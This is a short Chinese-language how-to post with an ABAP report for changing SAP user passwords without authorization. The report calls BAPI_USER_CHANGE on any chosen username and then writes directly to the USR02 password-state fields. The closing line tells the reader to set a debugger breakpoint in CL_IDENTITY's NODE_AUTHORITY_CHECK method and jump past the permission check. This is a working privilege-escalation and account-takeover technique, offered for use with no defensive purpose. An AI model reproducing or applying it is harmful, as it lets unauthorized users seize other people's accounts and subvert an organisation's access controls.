ABAP 无权限修改账号密码操作

ABAP 无修改账号密码权限，但是有DEBUG权限

操作方法　Cｏｐｙ　程序　

REPORT  ytest0014.
　
PARAMETERS:p_user      TYPE bapibname-bapibname.
PARAMETERS:p_psword    TYPE bapipwd-bapipwd.




START-OF-SELECTION.

  DATA ls_password           TYPE bapipwd.
  DATA ls_passwordx          TYPE bapipwdx.
  DATA lt_return             TYPE STANDARD TABLE OF  bapiret2 .

  ls_password-bapipwd = p_psword.
  ls_passwordx-bapipwd = abap_true.

  CALL FUNCTION 'BAPI_USER_CHANGE'
    EXPORTING
      username  = p_user
      password  = ls_password
      passwordx = ls_passwordx
    TABLES
      return    = lt_return.

  READ TABLE lt_return INTO DATA(ls_return) WITH KEY type = 'E' .

  IF sy-subrc IS INITIAL .

    WRITE 'E'.

  ELSE.
    UPDATE usr02 SET pwdinitial = '2'
                     pwdstate   = '0'
                     ltime      = sy-uzeit
              WHERE  bname = p_user.

    COMMIT WORK .

    WRITE 'S'.
  ENDIF.

SE24  CL_IDENTITY

在方法里面　NODE_AUTHORITY_CHECK　打上断点，跳出检查